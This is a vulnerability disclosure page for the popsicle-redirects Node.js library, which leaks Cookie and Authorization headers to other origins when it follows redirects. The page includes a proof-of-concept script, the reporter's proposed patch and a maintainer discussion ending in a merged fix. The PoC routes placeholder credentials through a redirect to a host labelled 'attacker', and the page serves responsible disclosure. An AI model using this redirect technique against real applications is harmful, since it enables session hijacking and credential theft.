Exposure of Sensitive Information to an Unauthorized Actor in serviejs/popsicle-redirects

Valid

Reported on

Mar 4th 2022


Bug

Cookies & Authorisation headers are leaked to external sites.

Description

When following a redirect to an external site, Cookie & Autorisation headers are leaked to the third party application.

{
    "headers":{
        "Accept-Encoding":["gzip, deflate, br"],
        "Authorization":["Bearer eyJhb12345abcdef"],
        "Content-Length":["0"],
        "Content-Type":["application/json"],
        "Cookie":["ajs_anonymous_id=1234567890\""],
        "Fly-Client-Ip":["##.##.###.##"],
        "Fly-Dispatch-Start":["t=1646416110005093;instance=edd2f518"],"Fly-Forwarded-Port":["80"],
        "Fly-Forwarded-Proto":["http"],
        "Fly-Forwarded-Ssl":["off"],
        "Fly-Region":["sin"],
        "Fly-Request-Id":["01FXB0R8DM36QXSGXPDS3DD5RG-sin"],
        "Host":["httpbingo.org"],
        "User-Agent":["Popsicle (https://github.com/serviejs/popsicle)"],
        "Via":["1.1 fly.io"],
        "X-Forwarded-For":["##.##.###.##, ##.##.###.##"],
        "X-Forwarded-Port":["80"],
        "X-Forwarded-Proto":["http"],
        "X-Forwarded-Ssl":["off"],
        "X-Request-Start":["t=1646416110004900"]
    }
}

Steps to reproduce

  1. We will use the fetch function from serviejs/popsicle to make the HTTP request,

  2. We will use an HTTP Client testing API to:

  • Redirect the HTTP request to a third party site (url in the query params),
  • Return the header in the responce (all the way to the originator).

notes:

  • Serviejs/servie is a dependency of serviejs/popsicle,
  • The protocol of mysite and attacker are different (https vs http).

Proof of Concept

  1. Create a poc.js file:
const { fetch } = require("popsicle");

const mysite = 'https://httpbingo.org'
const attacker = 'http://httpbingo.org';

const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
        ,'Cookie': 'ajs_anonymous_id=1234567890"',
        "Authorization": "Bearer eyJhb12345abcdef"
    }
};

function makeRequest() {
    return new Promise(async function (resolve) {

        const res = await fetch(`${mysite}/redirect-to?url=${attacker}/headers`, options);

        const data = await res.text();

        resolve(data);

    });
}

makeRequest().then(data => console.log(data));
  1. Install the package and run the poc file:
npm install popsicle --save
node poc.js

Consequence

Access Control: Hijack of victims account.

An attacker could steal the user's credentials and then use them to access the legitimate web site.

Suggested fix

If the query params contain an url and that the protocol or host or port is different, then the cookie and autentication should be stripped from the header.

  1. Add the following function in servie/src/node.ts:
import * as url from "url";
import * as querystring from "querystring";
/**
 * Remove authorization and cookie from headers if query params contains url to third party application.
 */
 function sanitizeHeaders(input: string | Request, headers: Headers): Headers {
  const HEADERS_TO_IGNORE: string[] = ["cookie", "authorization"];

  const urlObject: any = typeof input === "string" ? url.parse(input) : "";
  const queryObject: any = querystring.parse(urlObject.query);

  const hasExternalLink = Object.keys(queryObject).some(function (queryParam) {
      const qUrl: any = url.parse(queryObject[queryParam]);
      return (!!qUrl.host && ( qUrl.protocol !== urlObject.protocol || qUrl.host !== urlObject.host || qUrl.port !== urlObject.port) );
  });

  if (hasExternalLink) {
      Object.keys(headers.object).filter(function (key) {
      return HEADERS_TO_IGNORE.includes(key.toLowerCase());
      }).map(function (key) {
      return delete headers.object[key];
      });
  }

  return headers;
}
  1. Add the following function in popsicle/node_modules/servie/dist/node.js
const url = require("url");
const querystring = require("querystring");
/**
 * Remove authorization and cookie from headers if query params contains url to third party application.
 */
function sanitizeHeaders(input, headers) {
    const HEADERS_TO_IGNORE = ["cookie", "authorization"];

    const urlObject = typeof input === "string" ? url.parse(input) : "";
    const queryObject = querystring.parse(urlObject.query);

    const hasExternalLink = Object.keys(queryObject).some(function (queryParam) {
        const qUrl = url.parse(queryObject[queryParam]);
        return (!!qUrl.host && ( qUrl.protocol !== urlObject.protocol || qUrl.host !== urlObject.host || qUrl.port !== urlObject.port) );
    });

    if (hasExternalLink) {
        Object.keys(headers.object).filter(function (key) {
        return HEADERS_TO_IGNORE.includes(key.toLowerCase());
        }).map(function (key) {
        return delete headers.object[key];
        });
    }

    return headers;
}
  1. Replace the Request class by the following code:
/**
 * Node.js `Request` implementation.
 */
export class Request extends Body implements CommonRequest<RawBody> {
  url: string;
  method: string;
  headers: Headers;
  trailer: Promise<Headers>;
  readonly signal: Signal;

  constructor(input: string | Request, init: RequestOptions = {}) {
    // Clone request or use passed options object.
    const req = typeof input === "string" ? undefined : input.clone();
    const rawBody = init.body || (req ? getRawBody(req) : null);
    const headers =
      req && !init.headers
        ? req.headers
        : getDefaultHeaders(
            rawBody,
            init.headers,
            init.omitDefaultHeaders === true
          );

    super(rawBody);

    this.url = typeof input === "string" ? input : input.url;
    this.method = init.method || (req && req.method) || "GET";
    this.signal = init.signal || (req && req.signal) || new Signal();
    // this.headers = headers;
    this.headers = sanitizeHeaders(input, headers);
    this.trailer =
      req && !init.trailer
        ? req.trailer
        : Promise.resolve<HeadersInit | undefined>(init.trailer).then(
            x => new Headers(x)
          );

    // Destroy body on abort.
    once(this.signal, "abort", () => this.destroy());
  }

  clone(): Request {
    const cloned = super.clone();

    return new Request(this.url, {
      body: getRawBody(cloned),
      headers: this.headers.clone(),
      omitDefaultHeaders: true,
      method: this.method,
      signal: this.signal,
      trailer: this.trailer.then(x => x.clone())
    });
  }
}
We are processing your report and will contact the serviejs/popsicle-redirects team within 24 hours. 3 months ago
Timothee Desurmont modified the report
3 months ago
Timothee Desurmont modified the report
3 months ago
Timothee Desurmont modified the report
3 months ago
Timothee Desurmont modified the report
3 months ago
3 months ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 3 months ago
We have opened a pull request with a SECURITY.md for serviejs/popsicle-redirects to merge. 3 months ago
We have contacted a member of the serviejs/popsicle-redirects team and are waiting to hear back 3 months ago
Blake Embrey
3 months ago

This looks fine to me, but I'm not sure the attack complexity is actually low. It would require the attacker to control the website that is originally requested in some way.

Blake Embrey validated this vulnerability 3 months ago
Timothee Desurmont has been awarded the disclosure bounty
The fix bounty is now up for grabs
Blake Embrey
3 months ago

@admin this has been fixed but it's not a vulnerability in the repo mentioned. It was fixed here: https://github.com/serviejs/popsicle-redirects/commit/708d5574c660dced5521265e81a8b2ceb4baa8cb.

Timothee
3 months ago

Researcher


Hi @Blake,

Thanks for validating the report,

I have also submitted a PR for the fix (if you would like to have a look at it).

The .js version of the fix in the report (see proof of fix) has been tested from my side and its working.

However the .ts version in the PR has not been tested (Not really familiar with TypeScript) but it should also work.

If you could just test it from your side before pushing the new version on NPM...

Timothee
3 months ago

Researcher


Great, thanks

Timothee
3 months ago

Researcher


For the attack vector, all depends about the application using the package. You could imagine a social media application like Facebook where user could share links to external content in the post. If the link redirects to a milicious site (crafted for this attack), and another user clicks on it, then his credentials would be leaked to the attacker.

Timothee
3 months ago

Researcher


Hi @Admin, can you give the fix bounty to Blake? I will close my PR

Blake Embrey
3 months ago

Just to clarify, this is only a vulnerability in node.js (so no clicking). I get your gist, but in your example the node application would need to be making a request to a site explicitly with a cookie that's malicious. Not disregarding the concern though, I understand that it could be a problem for something like http://facebook.com/magic-redirect?url=http://exploited.com and it definitely shouldn't be.

The link above to the commit fixing the issue includes test coverage for this.

Blake Embrey
3 months ago

Thanks for the report! It's not something I ever considered when writing a simple http library 😅

Timothee
3 months ago

Researcher


Your welcome 🙂

Jamie Slome
3 months ago

Admin


Hi both 👋

I have adjusted the repository for this report from serviejs/servie to serviejs/popsicle-redirects.

You can now go ahead and confirm the fix + reward yourself the fix bounty too @blakeembrey!

Jamie Slome
3 months ago

Admin


Just attaching the original repository references for GitHub Issue and SECURITY.md pull request.

Blake Embrey confirmed that a fix has been merged on 708d55 3 months ago
Blake Embrey has been awarded the fix bounty
to join this conversation